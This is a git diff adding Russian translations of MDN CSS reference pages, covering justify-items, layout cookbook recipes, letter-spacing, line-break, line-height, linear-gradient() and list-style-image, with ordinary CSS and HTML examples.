  • Используя разметку с помощью гибких блоков (flexbox layout), это ключевое слово не имеет значения, так как этот атрибут игнорируется
    • +
  • Используя разметку с помощью сетки (grid layout), это ключевое слово приводит к поведению, аналогичному поведению stretch, за исключением блоков с соотношением сторон или внутренних размеров, где оно ведет себя как start
    • +
+
+
start
+
Элемент выравнивается на одном уровне друг с другом по направлению к начальной границе контейнера выравнивания по соответствующей оси.
+
end
+
Элемент выравнивается на одном уровне друг с другом по направлению к конечной границе  контейнера выравнивания по соответствующей оси.
+
flex-start
+
Для элементов, которые не являются потомками flex контейнера, это значение обрабатывается как start.
+
flex-end
+
Для элементов, которые не являются потомками flex контейнера, это значение обрабатывается как end.
+
self-start
+
Элемент выравнивается на одном уровне с границей контейнера выравнивания начальной стороны элемента по соответствующей оси.
+
self-end
+
Элемент выравнивается на одном уровне с границей контейнера выравнивания конечной стороны элемента по соответствующей оси.
+
center
+
Элементы выравниваются на одном уровне друг с другом по направлению к центру контейнера выравнивания.
+
left
+
Элементы выравниваются на одном уровне друг с другом по направлению к левой границе контейнера выравнивания. Если ось свойства не параллельна внутренней оси, это значение ведет себя как start.
+
right
+
Элементы выравниваются на одном уровне друг с другом по направлению к правой границе контейнера выравнивания по соответствующей оси. Если ось свойства не параллельна внутренней оси, это значение ведет себя как start.
+
baseline
+ first baseline
+ last baseline
+
Определяет участие значений first baseline или last baseline в исходном выравнивании. Значение baseline выравнивает первый или последний блок набора в соответствии с исходным выравниванием в общем первом или последнем наборе всех блоков в его совместной группе исходного выравнивания.
+
Возвратным выравниванием для first baseline является значение start, для last baseline является значение end.
+
stretch
+
Если объединенный размер элементов меньше, чем размер контейнера выравнивания, то размер любого элемента со значением auto увеличивается одинаково (не пропорционально), но при этом соблюдаются ограничения, налагаемые {{CSSxRef("max-height")}}/{{CSSxRef("max-width")}} (или эквивалентной функциональностью), таким образом, что объединенный размер точно заполняет контейнер выравнивания.
+
safe
+
Если размер элемента выходит за пределы контейнера выравнивания, элемент выравнивается, как если бы режим выравнивания имел значение start.
+
unsafe
+
Независимо от относительных размеров элемента и контейнера выравнивания, данное значение выравнивания учитывается.
+
legacy
+
Создает значение, унаследованное потомками блока. Обратите внимание, что если потомок имеет значение justify-self: auto, ключевое слово legacy не учитывается по нисходящему наследованию. Действует только со значением left, right, или center, связанным с ним.
+
+ +

Формальный синтаксис

+ +
{{CSSSyntax}}
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS3 Box Alignment", "#propdef-justify-items", "justify-items")}}{{Spec2("CSS3 Box Alignment")}}Первоначальное определение
+ +

{{CSSInfo}}

+ +

Поддержка браузерами

+ + + +

Поддержка в разметке Flex

+ +

{{Compat("css.properties.justify-items.flex_context")}}

+ +

Поддержка в разметке Grid

+ +

{{Compat("css.properties.justify-items.grid_context")}}

+ +

Смотрите также

+ + +
diff --git a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html new file mode 100644 index 0000000000..f2452542a7 --- /dev/null +++ b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html @@ -0,0 +1,62 @@ +--- +title: Breadcrumb Navigation +slug: Web/CSS/Layout_cookbook/Breadcrumb_Navigation +translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation +--- +
{{CSSRef}}
+ +

Навигация по хлебным крошкам помогает пользователю понять свое местоположение на веб-сайте, обеспечивая обратный путь к начальной странице.

+ +

Links displayed inline with separators

+ +

Требование

+ +

Элементы обычно отображаются в строке с разделителем, чтобы указать иерархию между отдельными страницами.

+ +

Пример

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/breadcrumb-navigation.html", '100%', 530)}}

+ +
+

Загрузить этот пример

+
+ +
+

Примечение: В приведенном выше примере используются два селектора для вставки содержимого перед каждым li, кроме первого. Этого также можно добиться, используя только один селектор:

+ +
.breadcrumb li:not(:first-child)::before {
+  content: "→";
+}
+
+ +

Это решение использует более сложный селектор, но требует меньше правил. Смело выбирайте то решение, которое вам больше по душе.

+
+ +

Сделанный выбор

+ +

Этот шаблон построен с использованием простого гибкого макета, демонстрирующего, как строка CSS может дать нам нашу навигацию. Разделители добавляются с использованием содержимого, созданного CSS. Вы можете изменить их на любой разделитель, который вам нравится.

+ +

Проблемы доступности

+ +

Я использовал атрибуты aria-label и aria-current, чтобы помочь пользователям понять, что это за навигация и где в структуре находится текущая страница.
+ Смотреть связанные ссылки для получения дополнительной информации.

+ +

Совместимость с браузером

+ +

Различные методы компоновки имеют разную поддержку браузером. Смотреть диаграммы ниже для получения подробной информации о базовой поддержке используемых свойств.

+ + + +

Flexbox

+ +

{{Compat("css.properties.flex")}}

+ +

Смотреть также

+ + diff --git a/files/ru/web/css/layout_cookbook/index.html b/files/ru/web/css/layout_cookbook/index.html new file mode 100644 index 0000000000..5c53652804 --- /dev/null +++ b/files/ru/web/css/layout_cookbook/index.html @@ -0,0 +1,67 @@ +--- +title: CSS Layout cookbook +slug: Web/CSS/Layout_cookbook +tags: + - CSS + - Layout + - NeedsTranslation + - TopicStub + - cookbook + - recipes +translation_of: Web/CSS/Layout_cookbook +--- +
{{CSSRef}}
+Книга рецептов CSS объединяет примеры большинства наиболее распространненых лейаут паттернов, которые могу встретиться вам при разработке веб-сайтов.
+
+В дополнение к представленным примерам кода, - которые вы вполне можете использовать в качестве отправной точки для своих проектов, - эти рецепты иллюстрируют нестандартные способы применения существующих лейаут (layout) спецификаций. Паттерны, представленные ниже, должны помочь вам увидеть новые варианты решения проблем, встречающихся в жизни разработчика.
+ +

+Примечание. Если вы новичок в в работе с CSS, то сначала вы можете взглянуть на наш модуль обучения макетам CSS, так как он даст вам базовые знания, необходимые для использования приведенных здесь рецептов.
+ +

The Recipes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
RecipeDescriptionLayout Methods
Media ObjectsA two-column box with an image on one side and descriptive text on the other, e.g. a facebook post or tweet.CSS Grid, {{cssxref("float")}} fallback, {{cssxref("fit-content")}} sizing
ColumnsWhen to choose multi-column layout, flexbox or grid for your columnsCSS Grid, Multicol, Flexbox
Center an elementHow to center an item horizontally and verticallyFlexbox, Box Alignment
Sticky footersCreating a footer which sits at the bottom of the container or viewport when the content is shorter. CSS Grid, Flexbox
Split NavigationA navigation pattern where some links are visually separated from the others.Flexbox, {{cssxref("margin")}}
Breadcrumb NavigationCreating a list of links to allow the visitor to navigate back up through the page hierarchy.Flexbox
+ +

Contribute a Recipe

+ +

As with all of MDN we would love you to contribute a recipe in the same format as the ones shown above. See this page for a template and guidelines for writing your own example.

diff --git a/files/ru/web/css/layout_cookbook/split_navigation/index.html b/files/ru/web/css/layout_cookbook/split_navigation/index.html new file mode 100644 index 0000000000..5f08999af1 --- /dev/null +++ b/files/ru/web/css/layout_cookbook/split_navigation/index.html @@ -0,0 +1,48 @@ +--- +title: Раздельная навигация +slug: Web/CSS/Layout_cookbook/Split_Navigation +translation_of: Web/CSS/Layout_cookbook/Split_Navigation +--- +
{{CSSRef}}
+ +

Навигационный паттерн, в котором один или более элементов отделены от остальных элементов навигации.

+ +

Items separated into two groups.

+ +

Требования

+ +

Распространенный навигационный шаблон имеет один элемент, который отделен от остальных. Мы можем использовать Flexbox для того, чтобы сделать это, без необходимости создавать два набора элементов в двух раздельных flex контейнерах. 

+ +

Рецепт

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/split-navigation.html", '100%', 520)}}

+ +
+

Download this example

+
+ +

Choices made

+ +

Этот паттерн объединяет margin со значением auto и Flexbox для разделения элементов.

+ +

Auto margin поглощает все доступное пространство в указанном направлении. Так же работает центрирование блока с автоматическими margin - вы имеете отступы на каждой стороне блока, пытающиеся занять все доступное пространство, таким образом толкая блок в центр.

+ +

В этом случаи левый auto margin занимает любое доступное пространство и толкает элемент к правому краю. Вы могли применить класс push к любому элементу в списке.

+ +

Поддержка браузерами

+ +

The various layout methods have different browser support. See the charts below for details on basic support for the properties used.

+ + + +

Flexbox

+ +

{{Compat("css.properties.flex")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/layout_cookbook/sticky_footers/index.html b/files/ru/web/css/layout_cookbook/sticky_footers/index.html new file mode 100644 index 0000000000..945d727438 --- /dev/null +++ b/files/ru/web/css/layout_cookbook/sticky_footers/index.html @@ -0,0 +1,70 @@ +--- +title: Sticky footers +slug: Web/CSS/Layout_cookbook/Sticky_footers +translation_of: Web/CSS/Layout_cookbook/Sticky_footers +--- +
{{CSSRef}}
+ +

Шаблон нижнего колонтитула - это шаблон, в котором нижний колонтитул вашей страницы «прилипает» к нижней части области просмотра в тех случаях, когда содержимое короче высоты области просмотра. В этом рецепте мы рассмотрим несколько методов для создания одного из них.

+ +

A sticky footer pushed to the bottom of a box

+ +

Requirements

+ +

Липкий шаблон нижнего колонтитула должен соответствовать следующим требованиям:
+  

+ +
    +
  • Нижний колонтитул прилипает к нижней части области просмотра, когда содержание короткое.
    • +
  • Если содержимое страницы выходит за нижнюю часть области просмотра, нижний колонтитул располагается ниже содержимого, как обычно.
    • +
+ +

The recipe

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/sticky-footer.html", '100%', 720)}}

+ +
+

Download this example

+
+ +
+

Note: In this example and the following one we are using a wrapper set to min-height: 100% in order that our live example works. You could also achieve this for a full page by setting a {{cssxref("min-height")}} of 100vh on the {{htmlelement("body")}} and then using it as your grid container.

+
+ +

Выбор сделан

+ +

В приведенном выше примере мы получаем липкий нижний колонтитул, используя CSS Grid Layout. Класс .wrapper имеет минимальную высоту 100%, что означает, что он такой же высоты, как и контейнер, в котором он находится. Затем мы создаем сетку с одним столбцом с тремя строками, по одной строке для каждой части нашего макета.

+ +

При автоматическом размещении сетки наши элементы будут располагаться в исходном порядке, поэтому заголовок переходит на первую дорожку с автоматическими размерами, основное содержимое - на дорожку 1fr, а нижний колонтитул - в конечную дорожку с автоматическими размерами. Трек 1fr будет занимать все доступное пространство и поэтому будет увеличиваться, чтобы заполнить этот пробел.

+ +

Alternate method

+ +

If you need compatibility with browsers that do not support Grid Layout you can also use Flexbox to create a sticky footer.

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/sticky-footer-flexbox.html", '100%', 720)}}

+ +

The flexbox example starts out in the same way, but we use display:flex rather than display:grid on the .wrapper; we also set flex-direction to column. Then we set our main content to flex-grow: 1 and the other two elements to flex-shrink: 0 — this prevents them from shrinking smaller when content fills the main area.

+ +

Browser compatibility

+ +

grid-template-rows

+ +

{{Compat("css.properties.grid-template-rows")}}

+ +

flex-direction

+ +

{{Compat("css.properties.flex-direction")}}

+ +

flex-grow

+ +

{{Compat("css.properties.flex-grow")}}

+ +

flex-shrink

+ +

{{Compat("css.properties.flex-shrink")}}

+ +

Resources on MDN

+ + diff --git a/files/ru/web/css/letter-spacing/index.html b/files/ru/web/css/letter-spacing/index.html new file mode 100644 index 0000000000..950325c331 --- /dev/null +++ b/files/ru/web/css/letter-spacing/index.html @@ -0,0 +1,129 @@ +--- +title: letter-spacing +slug: Web/CSS/letter-spacing +translation_of: Web/CSS/letter-spacing +--- +
{{CSSRef}}
+ +

Свойство letter-spacing определяет межбуквенное расстояние в тексте.

+ +
{{EmbedInteractiveExample("pages/css/letter-spacing.html")}}
+ + + +

Синтаксис

+ +
/* Значения - ключевые слова */
+letter-spacing: normal;
+
+/* Значения <length> */
+letter-spacing: 0.3em;
+letter-spacing: 3px;
+letter-spacing: .3px;
+
+/* Глобальные значения */
+letter-spacing: inherit;
+letter-spacing: initial;
+letter-spacing: unset;
+
+ +

Значения

+ +
+
normal
+
Стандартное межбуквенное расстояние для текущего шрифта. В отличие от значения 0, это ключевое слово позволяет {{glossary("User Agent", "агенту пользователя")}} изменить расстояние между буквами для выравнивания текста.
+
{{cssxref("<length>")}}
+
Определяет дополнительное расстояние между буквами добавляющееся к стандартному расстоянию между символами. Значение может быть отрицательным, но при этом могут быть ограничения, зависящие от конкретной реализации. Агент пользователя может не увеличивать или уменьшать межбуквенное расстояние для выравнивания текста.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

HTML

+ +
<p class="normal">letter spacing</p>
+<p class="em-wide">letter spacing</p>
+<p class="em-wider">letter spacing</p>
+<p class="em-tight">letter spacing</p>
+<p class="px-wide">letter spacing</p>
+
+ +

CSS

+ +
.normal   { letter-spacing: normal; }
+.em-wide  { letter-spacing: 0.4em; }
+.em-wider { letter-spacing: 1em; }
+.em-tight { letter-spacing: -0.05em; }
+.px-wide  { letter-spacing: 6px; }
+
+ +

Результат

+ +

{{ EmbedLiveSample('Примеры', 440, 185) }}

+ +

Проблемы доступности

+ +

Большие положительные или отрицательные значения свойства letter-spacing могут сделать текст, к которому применяется форматирование, нечитаемым. При очень больших положительных значениях этого свойтва, буквы в тексте будут настолько далеко друг от друга, что не будут восприниматься как цельные слова. При очень больших отрицательных значениях буквы будут перекрываться друг другом до такой степени, что слова могут стать неразличимы.

+ +

Межбуквенное расстояние должно быть определено индивидуально для каждого случая, так как в разных семействах шрифтов ширина символов различна. Нет какого-то универсального значения, которое может быть применено для наилучшего отображения во всех семействах шрифтов.

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Text', '#letter-spacing-property', 'letter-spacing')}}{{Spec2('CSS3 Text')}}Без изменений.
{{SpecName('CSS3 Transitions', '#animatable-css', 'letter-spacing')}}{{Spec2('CSS3 Transitions')}}Определяет letter-spacing как доступное к анимированию.
{{SpecName('CSS2.1', 'text.html#propdef-letter-spacing', 'letter-spacing')}}{{Spec2('CSS2.1')}}Без изменений.
{{SpecName('SVG1.1', 'text.html#LetterSpacingProperty', 'letter-spacing')}}{{Spec2('SVG1.1')}}Первоначальное определение в SVG.
{{SpecName('CSS1', '#letter-spacing', 'letter-spacing')}}{{Spec2('CSS1')}}Первоначальное определение.
+ +

{{cssinfo}}

+ +

Браузерная совместимость

+ + + +

{{Compat("css.properties.letter-spacing")}}

+ +

Смотрите также

+ +
    +
  • {{cssxref("font-kerning")}}
    • +
diff --git a/files/ru/web/css/line-break/index.html b/files/ru/web/css/line-break/index.html new file mode 100644 index 0000000000..dd3acb4f53 --- /dev/null +++ b/files/ru/web/css/line-break/index.html @@ -0,0 +1,68 @@ +--- +title: line-break +slug: Web/CSS/line-break +tags: + - разрыв строки +translation_of: Web/CSS/line-break +--- +
{{CSSRef}}
+ +

CSS-свойство line-break устанавливает способ разрыва строки текста на китайском, японском или корейском (CJK) при работе с пунктуацией и символами.

+ +
/* Значения ключевым словом */
+line-break: auto;
+line-break: loose;
+line-break: normal;
+line-break: strict;
+
+/* Глобальные значения */
+line-break: inherit;
+line-break: initial;
+line-break: unset;
+
+ +
{{cssinfo}}
+ +

Синтаксис

+ +

Значения

+ +
+
auto
+
Разрыв текста, используя правило разрыва строки по умолчанию.
+
loose
+
Разрыв текста, используя правило разрыва строки с наименьшими ограничениями. Обычно используется для коротких строк, например, в газетах.
+
normal
+
Разрыв текста, используя наиболее распространенное правило разрыва строки.
+
strict
+
Разрыв текста, используя самое строгое правило разрыва строки.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Text', '#line-break-property', 'line-break')}}{{Spec2('CSS3 Text')}}Первое определение
+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.line-break")}}

diff --git a/files/ru/web/css/line-height/index.html b/files/ru/web/css/line-height/index.html new file mode 100644 index 0000000000..28ad87f355 --- /dev/null +++ b/files/ru/web/css/line-height/index.html @@ -0,0 +1,170 @@ +--- +title: line-height +slug: Web/CSS/line-height +translation_of: Web/CSS/line-height +--- +
{{CSSRef}}
+ +

Свойство CSS line-height устанавливает величину пространства между строками, например в тексте. В блочных элементах оно указывает минимальную высоту блоков строк внутри элемента. В незамещаемых внутристрочных элементах —указывает высоту, которая используется для вычисления высоты блоков строк.

+ +
{{EmbedInteractiveExample("pages/css/line-height.html")}}
+ + + +

+ +

Синтаксис

+ +
/* Keyword value */
+line-height: normal;
+
+/* Unitless values: use this number multiplied
+by the element's font size */
+line-height: 3.5;
+
+/* <length> values */
+line-height: 3em;
+
+/* <percentage> values */
+line-height: 34%;
+
+/* Global values */
+line-height: inherit;
+line-height: initial;
+line-height: unset;
+
+ +

+ +

Свойство line-height задаётся с помощью:

+ + + +

Значения

+ +
+
normal
+
Зависит от пользовательского браузера. Компьютерные браузеры (включая Firefox) используют значение по умолчанию приблизительно 1.2, в зависимости от элементов font-family.
+
<число>
+
Используемое значение это бесконечное умножение {{cssxref("<числа>")}} на собственный размер шрифта элементов. Вычисленное значение это и есть  <число>. В большинстве случаев  это предпочтительный способ установки значения line-height и позволяет избежать непредвиденных результатов при наследовании.
+
<величина>
+
Указанная {{cssxref("<величина>")}} используется при вычислении высоты блока строки. Значение, заданное в  единицах em может привести к непредвидимым результатам (смотри пример ниже).
+
<процентное соотношение>
+
Относительно размера шрифта самого элемента.
+
Relative to the font size of the element itself. The computed value is this {{cssxref("<percentage>")}} multiplied by the element's computed font size. Percentage values may produce unexpected results (see the second example below).
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Basic example

+ +
/* All rules below have the same resultant line height */
+
+div { line-height: 1.2;   font-size: 10pt; }   /* number */
+div { line-height: 1.2em; font-size: 10pt; }   /* length */
+div { line-height: 120%;  font-size: 10pt; }   /* percentage */
+div { font: 10pt/1.2  Georgia,"Bitstream Charter",serif; } /* font shorthand */
+ +

It is often more convenient to set line-height by using the {{cssxref("font")}} shorthand as shown above, but this requires the font-family property to be specified as well.

+ +

Prefer unitless numbers for line-height values

+ +

This example shows why it is better to use {{cssxref("<number>")}} values instead of {{cssxref("<length>")}} values. We will use two {{HTMLElement("div")}} elements. The first, with the green border, uses a unitless line-height value. The second, with the red border, uses a line-height value defined in ems.

+ +

CSS

+ +
.green {
+  line-height: 1.1;
+  border: solid limegreen;
+}
+
+.red {
+  line-height: 1.1em;
+  border: solid red;
+}
+
+h1 {
+  font-size: 30px;
+}
+
+.box {
+  width: 18em;
+  display: inline-block;
+  vertical-align: top;
+  font-size: 15px;
+}
+
+ +

HTML

+ +
<div class="box green">
+ <h1>Avoid unexpected results by using unitless line-height.</h1>
+  length and percentage line-heights have poor inheritance behavior ...
+</div>
+
+<div class="box red">
+ <h1>Avoid unexpected results by using unitless line-height.</h1>
+  length and percentage line-heights have poor inheritance behavior ...
+</div>
+
+<!-- The first <h1> line-height is calculated from its own font-size   (30px × 1.1) = 33px  -->
+<!-- The second <h1> line-height results from the red div's font-size  (15px × 1.1) = 16.5px,  probably not what you want -->
+
+ +

Result

+ +

{{EmbedLiveSample('Prefer_unitless_numbers_for_line-height_values', 600, 200)}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Transitions', '#animatable-css', 'line-height')}}{{Spec2('CSS3 Transitions')}}Defines line-height as animatable.
{{SpecName('CSS2.1', 'visudet.html#propdef-line-height', 'line-height')}}{{Spec2('CSS2.1')}}No change.
{{SpecName('CSS1', '#line-height', 'line-height')}}{{Spec2('CSS1')}}Initial definition.
+ +

{{cssinfo}}

+ +

Browser compatibility

+ +
+ + +

{{Compat("css.properties.line-height")}}

+
+ +

See also

+ +
    +
  • {{Cssxref("font")}}, {{Cssxref("font-size")}}
    • +
diff --git a/files/ru/web/css/linear-gradient()/index.html b/files/ru/web/css/linear-gradient()/index.html new file mode 100644 index 0000000000..4433b0587d --- /dev/null +++ b/files/ru/web/css/linear-gradient()/index.html @@ -0,0 +1,212 @@ +--- +title: linear-gradient() +slug: Web/CSS/linear-gradient() +tags: + - Градиент + - Линейный градиент +translation_of: Web/CSS/linear-gradient() +--- +
{{CSSRef}}
+ +

CSS-функция linear-gradient() создаёт изображение, состоящее из постепенного перехода между двумя или более цветами вдоль прямой линии. Её результатом является объект типа данных {{CSSxRef("<gradient>")}}, являющийся особым видом {{CSSxRef("<image>")}}.

+ +
{{EmbedInteractiveExample("pages/css/function-linear-gradient.html")}}
+ + + +

Как и в случае с любым градиентом, линейный градиент не имеет внутренних размеров; т. е., он не имеет ни естественного или предпочтительного размера, ни предпочтительного соотношения сторон. Его фактический размер будет совпадать с размеров элемента, к которому он применён.

+ +

Для создания линейного градиента, повторяющегося таким образом, что он заполняет содержащий его элемент, лучше используйте функцию {{CSSxRef("repeating-linear-gradient")}}.

+ +

Так как <gradient>ы относятся к типу данных <image>, они могут использоваться только там, где может использоваться <image>. По этой причине, linear-gradient() не будет работать в качестве {{CSSxRef("background-color")}} и других свойств, использующих тип данных {{CSSxRef("<color>")}}.

+ +

Создание линейного градиента

+ +

Линейный градиент определяется осью — линией градиента — и двумя или более точками остановки цвета. Каждая точка на оси – это определённый цвет; для создания плавного градиента функция linear-gradient() рисует серию цветных линий, перпендикулярных линии градиента, каждая из них соответствует цвету точки, в которой она пересекает линию градиента.

+ +

linear-gradient.png

+ +

Линия градиента определена центром блока, содержащего изображение градиента, и углом. Цвета градиента задаются двумя или более точками: начальной точкой, конечной точкой, и необязательными точками остановки цвета между ними.

+ +

Начальная точка – это место на линии градиента, где начинается первый цвет. Конечная точка – это точка, на которой заканчивается последний цвет. Каждая из этих двух точек определяется пересечением линии градиента с перпендикулярной линией, проходящей от угла, находящегося в том же квадранте блока. Конечную точку можно просто считать как точку, симметричную начальной точке. Эти несколько сложные определения приводят к интересному эффекту, иногда называемому магическими углами: углы, ближайшие к начальной и конечной точке, имеют те же цвета, что и соответствующая им начальная или конечная точка.

+ +

Настройка градиентов

+ +

Добавляя больше точек остановки цвета на линию градиента, вы можете точно задавать переходы между разными цветами. Позиции остановок цвета могут быть явно заданы использованием значений типа {{CSSxRef("<length>")}} или {{CSSxRef("<percentage>")}}. Если вы не определите расположение цвета, он будет расположен посередине между предыдущим и следующим цветом. Следующие два градиента эквивалентны.

+ +
linear-gradient(red, orange, yellow, green, blue);
+linear-gradient(red 0%, orange 25%, yellow 50%, green 75%, blue 100%);
+ +

По умолчанию цвета переходят плавно от цвета на одной точке остановки до цвета на следующей точке остановки, по середине которого – точка, являющаяся половиной перехода от одного цвета к другому. Вы можете двигать эту среднюю точку в любую позицию между двумя точками остановки цвета, добавляя цветовую подсказку в виде значения в % между двумя цветами для того, чтобы обозначить, где должна находиться середина цветового перехода. В следующем примере показан чисто красный цвет от начала до отметки 10% и чисто синий от 90% до конца. Между 10% и 90% цвет переходит от красного до синего, однако середина цветового перехода находится на отметке 30%, а не на 50%, как было бы без добавления цветовой подсказки 30%.

+ +
linear-gradient(red 10%, 30%, blue 90%);
+ +

Если две или более точки остановки цвета находятся в одной и той же позиции, переход будет в виде чёткой линии между первым и последним цветом, объявленным на этой позиции.

+ +

Точки остановки цвета должны быть перечислены в порядке возрастания. Соседние точки остановки цвета с меньшим значением переопределят значение предыдущей точки остановки цвета, создавая резкий переход. В примере ниже на позиции 30% происходит замена красного на жёлтый, и затем идёт переход от жёлтого до синего на протяжении 35% длины градиента.

+ +
linear-gradient(red 40%, yellow 30%, blue 65%);
+
+ +

Допустимо использовать многопозиционную остановку цвета. Цвет может быть объявлен как две смежных точки остановки цвета, если включить его в обе позиции в CSS-объявлении. Следующие три градиента эквивалентны:

+ +
linear-gradient(red 0%, orange 10%, orange 30%, yellow 50%, yellow 70%, green 90%, green 100%);
+linear-gradient(red, orange 10% 30%, yellow 50% 70%, green 90%);
+linear-gradient(red 0%, orange 10% 30%, yellow 50% 70%, green 90% 100%);
+ +

По умолчанию, если на остановку 0% не задан цвет, то на этой точке будет располагаться первый объявленный цвет. Аналогично, последний цвет будет продолжаться до отметки 100%, или будет на отметке 100%, если на этой последней остановке не было объявлено никакой длины.

+ +

Синтаксис

+ +
/* Градиент наклонён на 45 градусов,
+   начинается с синего, заканчивается красным */
+linear-gradient(45deg, blue, red);
+
+/* Градиент идёт от правого нижнего до левого верхнего угла,
+   от синего до красного */
+linear-gradient(to left top, blue, red);
+
+/* Остановка цвета: градиент идёт снизу вверх,
+   начинается синим, становится зелёным на 40% своей длины,
+   и заканчивается красным */
+linear-gradient(0deg, blue, green 40%, red);
+
+/* Цветовая подсказка: градиент идёт слева направо,
+   начинается с красного, достигает среднего цвета
+   на 10% пути длины градиента,
+   занимая оставшиеся 90% длины переходом в синий */
+linear-gradient(.25turn, red, 10%, blue);
+
+/* Многопозиционная остановка цвета: градиент повёрнут на 45 градусов,
+   с красной нижней левой половиной, синей верхней правой половиной,
+   с чёткой линией на месте перехода градиента из красного в синий */
+linear-gradient(45deg, red 0 50%, blue 50% 100%);
+ +

Значения

+ +
+
<side-or-corner>
+
Позиция начальной точки линии градиента. Если указана, то должна состоять из слова to и максимум до двух ключевых слов включительно: одно обозначает горизонтальную сторону (left или right), а другое – вертикальную сторону (top или bottom). Порядок ключевых слов не важен. Если не определено, то принимает значение to bottom.
+
Значения to top, to bottom, to left и to right эквивалентны углам 0deg, 180deg, 270deg и 90deg, соответственно. Другие значения переводятся в значение угла.
+
{{CSSxRef("<angle>")}}
+
Угол направления линии градиента. Значение 0deg эквивалентно to top; увеличение значения увеличивает угол поворота по часовой стрелке от этой позиции.
+
<linear-color-stop>
+
Значение точки остановки цвета {{CSSxRef("<color>")}}, с последующими одной или двумя необязательными точками остановки (имеющими значение типа {{CSSxRef("<percentage>")}} или {{CSSxRef("<length>")}} вдоль оси градиента).
+
<color-hint>
+
Цветовая подсказка – это подсказка для перехода, определяющая, как градиент продвигается между соседними точками остановки цвета. Длина определяет, на какой точке между двумя точками остановки цвет градиента должен достичь среднего значения цветового перехода. Если не указано, средней точкой цветового перехода будет середина между двумя точками остановки цвета.
+
+
+

Примечание: Отрисовка цветовых остановок в CSS-градиентах следует тем же правилам, что и цветовые остановки в SVG-градиентах.

+
+
+
+ +

Формальный синтаксис

+ +
linear-gradient(
+  [ <angle> | to <side-or-corner> ,]? <color-stop-list> )
+  \---------------------------------/ \----------------------------/
+      Определение линии градиента         Список остановок цвета
+
+где <side-or-corner> = [ left | right ] || [ top | bottom ]
+  и <color-stop-list> = [ <linear-color-stop> [, <color-hint> ]? ]#, <linear-color-stop>
+  и <linear-color-stop> = <color> [ <color-stop-length> ]?
+  и <color-stop-length> = [ <percentage> | <length> ]{1,2}
+  и <color-hint> = [ <percentage> | <length> ]
+ +

Примеры

+ +

Градиент под углом 45 градусов

+ + + +
body {
+  background: linear-gradient(45deg, red, blue);
+}
+
+ +

{{EmbedLiveSample("Градиент_под_углом_45_градусов", 120, 120)}}

+ +

Градиент, начинающийся на 60% линии градиента

+ + + +
body {
+  background: linear-gradient(135deg, orange, orange 60%, cyan);
+}
+ +

{{EmbedLiveSample("Градиент_начинающийся_на_60_линии_градиента", 120, 120)}}

+ +

Градиент с многопозиционными остановками цвета

+ +

Этот пример использует многопозиционные остановки цвета, и со смежными цветами, имеющими те же точки остановки цвета, создаёт полосатый эффект.

+ + + +
body {
+  background: linear-gradient(to right,
+     red 20%, orange 20% 40%, yellow 40% 60%, green 60% 80%, blue 80%);
+}
+ +

{{EmbedLiveSample("Градиент_с_многопозиционными_остановками_цвета", 120, 120)}}

+ +
+

Примечание: Больше примеров смотрите на странице Использование CSS-градиентов.

+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Images', '#color-stop-syntax', 'Gradient Color-Stops')}}{{Spec2('CSS4 Images')}}Добавлены подсказки по переходам
{{SpecName('CSS3 Images', '#linear-gradients', 'linear-gradient()')}}{{Spec2('CSS3 Images')}}Первоначальное определение
+ +

Совместимость с браузерами

+ + + +
{{Compat("css.types.image.gradient.linear-gradient")}}
+ +

Смотрите также

+ +
    +
  • Использование CSS-градиентов
    • +
  • Другие градиентные функции: {{CSSxRef("repeating-linear-gradient")}}, {{CSSxRef("radial-gradient")}}, {{CSSxRef("repeating-radial-gradient")}}, {{CSSxRef("conic-gradient")}}, {{CSSxRef("repeating-conic-gradient")}}
    • +
  • {{CSSxRef("<image>")}}
    • +
  • {{cssxref("element()")}}
    • +
  • {{cssxref("_image","image()")}}
    • +
  • {{cssxref("image-set","image-set()")}}
    • +
  • {{cssxref("cross-fade")}}
    • +
diff --git a/files/ru/web/css/list-style-image/index.html b/files/ru/web/css/list-style-image/index.html new file mode 100644 index 0000000000..468e2493ae --- /dev/null +++ b/files/ru/web/css/list-style-image/index.html @@ -0,0 +1,106 @@ +--- +title: list-style-image +slug: Web/CSS/list-style-image +tags: + - маркер списка + - список +translation_of: Web/CSS/list-style-image +--- +
{{CSSRef}}
+ +

CSS-свойство list-style-image устанавливает изображение, используемое в качестве маркера списка.

+ +

Чаще, удобнее использовать общее свойство {{ cssxref("list-style") }}.

+ +
{{EmbedInteractiveExample("pages/css/list-style-image.html")}}
+ + + +
+

Примечание: Это свойство применяется к элементам списка, т.е. к элементам с {{cssxref("display")}}: list-item; по умолчанию оно включает элементы {{HTMLElement("li")}}. Т.к. это свойство наследуется, его можно задать для родительского элемента (обычно {{HTMLElement("ol")}} или {{HTMLElement("ul")}}), что позволит применить его ко всем элементам списка.

+
+ +

Синтаксис

+ +
/* Значение ключевым словом */
+list-style-image: none;
+
+/* <url> значения */
+list-style-image: url('starsolid.gif');
+
+/* Глобальные значения */
+list-style-image: inherit;
+list-style-image: initial;
+list-style-image: unset;
+
+ +

Значения

+ +
+
{{cssxref("<url>")}}
+
Расположение элемента для использования в качестве маркера.
+
none
+
